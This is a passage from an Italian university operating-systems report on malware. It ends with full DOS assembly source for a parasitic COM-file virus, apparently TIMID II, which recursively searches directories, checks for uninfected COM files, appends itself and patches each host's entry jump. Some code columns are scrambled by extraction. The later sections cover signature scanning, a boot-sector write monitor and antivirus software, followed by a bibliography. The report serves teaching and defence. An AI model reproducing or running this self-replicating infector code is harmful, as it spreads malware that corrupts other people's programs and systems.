;reimposta il codice di inizio dell’ospite ;salta all’ospite START_CODE: nop nop nop nop nop ;muove i primi cinque bytes dal programma ospite a questa locazione ;nop per il codice assembly originale ;lavorerà correttamente INF_CNT DB ? DEPTH DB ? PATH DB 10 dup (0) ;contatore dei file infetti ;profondità della procedura di ricerca nelle directory, 0=no subdirectory ;path name da cercare INFECT_FILES: mov [di+INF_CNT],10 mov [di+DEPTH],1 call SEARCH_DIR cmp [di+INF_CNT],0 jz IFDONE mov ah,47H xor dl,dl lea si,[di+CUR_DIR+1] int 21H mov [di+DEPTH],2 mov ax,'\' mov WORD PTR [di+PATH],ax mov ah,3BH lea dx,[di+PATH] int 21H call SEARCH_DIR mov ah,3BH lea dx,[di+CUR_DIR] int 21H IFDONE: ret ;infetta dieci file ;controlla se sono stati infettati ;se no cerca anche la radice ;mette il path qui ;cambia directory ;ora torna alla directory originale PRE_DIR DB '..',0 CUR_DIR DB '\' DB 65 dup (0) ;Routine ricorsiva che ricerca file infetti nella directory corrente e nelle subdirectori . SEARCH_DIR: push bp ;imposta lo stack frame sub sp,43H ;sottrae la dimensione del DTA necessaria alla ricerca mov bp,sp mov dx,bp ;mette il DTA nello stack mov ah,1AH int 21H lea dx,[di+OFFSET ALLFILE] 38 Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” mov cx,3FH mov ah,4EH SDLP: int 21H jc SDDONE mov al,[bp+15H] and al,10H jnz SD1 call FILE_OK jc SD2 call INFECT ;yes, infect it dec [di+INF_CNT] cmp [di+INF_CNT],0 jz SDDONE jmp SD2 SD1: cmp jz cmp jz dec lea mov int jc call lea mov int inc cmp jz mov mov int SD2: mov jmp SDDONE: add pop ret ;ottiene gli attributi del file trovato ;(00010000B) è una directory? ;se sì si collega ;se è un file controlla se è infettabile ;no, provane un altro ;decrementa il contatore dei file infetti ;se è nullo ;la ricerca è fatta ;no,allora cercane un altro [di+DEPTH],0 ;siamo in fondo alla ricerca SD2 ;se sì non ricercare le subdirectory BYTE PTR [bp+1EH],'.' SD2 ;non cercare '.' o '..' [di+DEPTH] ;decrementa il contatore della profondità di ricerca dx,[bp+1EH] ;altrimenti assumi il nome della directory ah,3BH 21H ;cambia directory in quest’ ultima SD2 SEARCH_DIR ;ricerca ricorsiva e infezione dx,[di+PRE_DIR] ;ora torna alla directory originale ah,3BH 21H [di+DEPTH] [di+INF_CNT],0 ;il file è stato infettato? SDDONE dx,bp ;ripristina il DTA a questo stack frame ah,1AH 21H ah,4FH SDLP sp,43H bp ;-------------------------------------------------------------------------;Funzione per stabilire se il file specificato in FNAME è utilizzabile. ;se ritorna nc, altrimeni ritorna il carry ;Il file è utilizzabile se : ; a) Deve avere estensione COM. ; b) Ci deve essere spazio per il virus senza che ecceda la ; dimensione limite del file di 64 KByte . ; c) Bytes 0, 3 e 4 del file non sono un near jump op code, ; e 'V', 'I', rispettivamente ; FILE_OK: lea si,[bp+1EH] mov dx,si FO1: lodsb ;ottiene un byte del nome del file cmp al,'.' ;è '.'? je FO2 ;sì ,ora cerca COM cmp al,0 ;è la fine del nome? 39 Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” FO2: 40 jne jmp lodsw cmp jne lodsb cmp jne FO1 FOKCEND mov int jc mov mov lea mov int ax,3D02H ;apertura del file in modalità scrittura e lettura 21H FOK_END ;se si ha un errore di apertura lascia bx,ax ;mette il file handle in bx cx,5 ;legge 5 bytes all’inizio del programma dx,[di+START_IMAGE] ah,3FH ;funzione di lettura del DOS 21H pushf mov int popf jc mov add jc cmp je cmp jnz cmp jnz FOKCEND:stc FOK_END:ret ;no, prendi un altro carattere ;sì , allora esci con il carry settato, controlla se è un COM file ;ok, cerca il COM file ax,'OC' FOKCEND al,'M' FOKCEND ah,3EH 21H ; e chiude il file ;controlla se la lettura ha fallito FOK_END ax,[bp+1AH] ax,OFFSET ENDVIR - OFFSET VIRUS + 100H FOK_END WORD PTR [di+START_IMAGE],'ZM' FOKCEND BYTE PTR [di+START_IMAGE],0E9H FOK_NCEND WORD PTR [di+START_IMAGE+3],'IV' FOK_NCEND ;assume la dimensione originale del file ;e vi somma la dimensione del virus ;carry settato se la dimensione >64K ;controlla il formato EXE ;se è un EXE non lo infetta ;il primo byte è un near jump? ;no, allora il file potrebbe essere infettabile ;c’è 'VI' ? ;no, il file è infettabile FOK_NCEND: clc ret ;-------------------------------------------------------------------------;La routine muove il virus (this program) alla fine del file COM ;copiando tutto in questa posizione e poi imposta i 5bytes all’inizio ;del programma e i cinque bytes messi in memoria ; INFECT: lea mov int mov dx,[bp+1EH] ax,3D02H 21H bx,ax ;apertura del file in scrittura /lettura ;premde il file handle in bx xor mov mov int cx,cx dx,cx ax,4202H 21H ;imposta il file pointer ;cx:dx pointer = 0 ;pone il puntatore alla fine della funzione del DOS mov lea mov int cx,OFFSET ENDVIR - OFFSET VIRUS dx,[di+VIRUS] ah,40H 21H ;bytes da scrivere ;scrivi da questa posizione ;funzione di scrittura ,copia il virus sul file Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” xor mov add mov int cx,cx ;salva i 5 bytes che vengono dall’inizio dx,[bp+1AH] dx,OFFSET START_CODE - OFFSET VIRUS ;allo START_CODE ax,4200H ;usa il DOS per posizionare il file pointer 21H mov lea mov int cx,5 dx,[di+START_IMAGE] ah,40H 21H ;scrive lo START_CODE nel file xor mov mov int cx,cx dx,cx ax,4200H 21H ;torna all’inizio del programma ospite ;così può mettere la jump nel virus ;trova la funzione file pointer mov mov add mov mov mov lea mov int 21H 41 BYTE PTR [di+START_IMAGE],0E9H ;prima la near jump op code E9 ax,[bp+1AH] ;and then the relative address ax,OFFSET VIRUS_START-OFFSET VIRUS-3 ;all’area START_IMAGE WORD PTR [di+START_IMAGE+1],ax WORD PTR [di+START_IMAGE+3],4956H ;e vi mette il codice 'VI' ID cx,5 dx,[di+START_IMAGE] ah,40H ;scrive i 5 bytes nello START_IMAGE ;funzione di scrittura del DOS mov ah,3EH int 21H ;e chiude il file ret ;il virus è trasferito ENDVIR: END HOST 4.0 Soluzioni Risolvere i problemi causati da un virus ,dopo che l’infezione si è già propagata, è un’ impresa spesso ardua e non sempre esiste una soluzione comoda per l’utente. I danni provocati da un malware possono essere molteplici e spesso costringono alla formattazione del disco fisso o a lunghe procedure di pulizia. La soluzione migliore resta dunque la prevenzione, scegliendo accuratamente il software da installare, la sua provenienza e installando un programma anti virus che va aggiornato almeno settimanalmente per garantire una buona protezione. Infatti, quella dei malfare, è una minaccia estremamente dinamica, vengono sempre escogitate tecniche differenti o comunque capaci di eludere i software di protezione che funzionano bene solo se conoscono prima il pericolo (il tipo di virus) che devono mettere in quarantena o distruggere. Questi studi, vengono eseguiti per esempio dal CERT e dall’ ICSA e sono molto utili per implementare gli aggiornamenti e gli up-date degli antivirus. Una delle tecnicheusate da questi programmi consiste nell’effettuare una ricerca, vale a dire uno scanning dei virus, anzitutto per individuarli e l’idea base è di ricercare una stringa che è contenuta nel virus (che deve essere conosciuto prima ). Per esempio il MINI-44, dopo essere stato compilato ha il seguente codice binario: 0100: B4 4E BA 26 01 CD 21 72 1C B8 01 3D BA 9E 00 CD 0110: 21 93 B4 40 B1 2A BA 00 01 CD 21 B4 3E CD 21 B4 0120: 4F CD 21 EB E2 C3 2A 2E 43 4F 4D Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” 42 e lo scanner che usa stringhe di 16bytes preleva appunto 16 bytes di questo codice e lo usa come elemento di ricerca negli altri file. Tuttavia il criterio di ricerca deve essere meno limitato e quindi uno scanner deve contenere dei ampi associati a ogni stringa di ricerca . Un’altra tattica di ricerca consiste nel Behavior checkers, cioè controllare il computer per trovare i segni dell’attività del malware che in genere sono comportamenti inusuali, che esulano dalle normali procedure di utilizzo da parte del’utente. Esempi sono aperture in scrittura e lettura di file COM ed EXE, tentativi di scrivere il boot sector o il master boot sector e queste operazioni anomale sono tipicamente individuate da questi programmi tramite interrupt di aggancio. Per visualizzare tentativi di scrittura del boot sector o del SO boot sector ci si può agganciare all’interrupt 13H, funzione 3 : INT_13H: cmp jnz cmp jnz cmp jnz call jz stc retf cx,1 DO_OLD dh,0 DO_OLD ah,3 DO_OLD IS_SURE DO_OLD 2 ; 0, sector 1? ; 0? ;no ,esegui ;scrivi? ;no ;sicuro di scrivere il bs? ;sì ,allora va avanti ed esegui ;altrimenti ferma la scrittura e setta il carry ;e ritorna al chiamante DO_OLD: ;execute original INT 13H jmp DWORD PTR cs:[OLD_13H] Uno dei più noti antivirus in commercio è il Norton AntiVirus 2002 della Symantec, che automaticamente si aggiorna sulle nuove forme di virus e programmi perniciosi, tramite Live UpDate, fornendo una continua protezione su connessione internet e sulla e-mail. Questo software combina funzioni di virus detection ,scanning e protezione contro i codici maliziosi nei controlli ActiveX, e nei Java applets come vermi, cavalli di troia e password stealers. Il controllo copre programmi scaricati o da installare, file compressi, e-mail e Norton ripara anche infezioni da virus comuni basandosi sempre sui dati di aggiornamento che riceve. Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” 43 Bibliografia Programmazione linguaggio assembler [1] Peter Norton ,Peter Norton’s Assembly Language Book for the IBM PC (Brady/Prentice Hall, New York) 1989 [2] Leo Scanlon ,8086/8088/80286 Assembly Language (Brady/Prentice Hall, New York) 1988 [3] http://vx.org.ua/ Introduzione e nozioni generali sugli attacchi [4] Lucidi e appunti del corso di Sistemi Operativi tenuto dalla p.ssa Mariagrazia Albanesi Virus, malware e codici [5] Fred Cohen ,A Short Course on Computer Viruses (ASP Press, Pittsburgh, PA) 1990………par 3.0 ,3.1 ,3.2 ,3.3 [6] George Smith ,The Virus Creation Labs (American Eagle , Show Low ,AZ) 1994………….par 3.3MINI-44 [7] Mark Ludwig ,The Little Black Book of Computer Viruses (American Eagle , Show Low ,AZ) 1991….par 3.0 ,3.1 ,3.3 fig (3.4, 3.6, 3.7, 3.8 ,3.9 ,3.10 ,3.11 ,3.13, 3.14 ,3.15 ,3.16 ), MINI-44, CSpawn, JUSTIN, TIMID II [8] http://vx.org.ua/…….par 3.0 ,3.1 ,3.2 Funky Bob virus ,3.3 fig(3.1 ,3.2 ,3.3 ,3.5, 3.12)MINI-44, Cspawn, JUSTIN, TIMID II virus [9] http://www.cert.org/advisories/……………………….. par 3.2 [10] http://www.f-secure.com/virus-info/…….. .................... par 3.2, 3.3 [11] http://www.symantec.com/ ............................................. par 4.0 [12] http://www.trendmicro.com/vinfo/virusencyclo/.par …. par 2.0 [13] http://www. hackersclub.com…………………………. par 1.0 Vari link ai siti utilizzati [14] http://astalavista.box.sk/cgi-bin/ Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” Indice PREFAZIONE……………………………………………………………………………………... pag 1 INTRODUZIONE…………………………………………………………………………….…… pag 2 CAPITOLO 1 1.0 1.1 I CRACK……………………………………………………………………………………pag 3 ESEMPIO DI “CRACKAGGIO”…………………………………………………………… pag 3 CAPITOLO 2 2.0 CAVALLI DI TROIA……………………………………………………………………… pag 5 CAPITOLO 3 3.0 3.1 3.2 3.3 3.4 3.5 3.6 3.7 I VIRUS, CENNI STORICI ………………………………………………………………... pag 6 I VIRUS E LE LORO CARATTERISTICHE……………………………………………… pag 7 CICLO VITALE DEL VIRUS E SUOI MECCANISMI …………………………………... pag 8 VIRUS CHE INFETTANO I FILE .COM……………………………………………….. pag 11 OVERWRITING VIRUS…………………………………………………………………... pag 14 COMPANION VIRUS …………………………………………………………………….. pag 18 PARASISTIC VIRUS (JUSTIN) ………………………………………………………....... pag 22 PARASISTIC VIRUS (TIMID II) ………………………………………………………….. pag 32 CAPITOLO 4 4.0 SOLUZIONI ………………………………………………………………………………... pag 41 BIBLIOGRAFIA ………………………………………………………………………………….. pag 43 44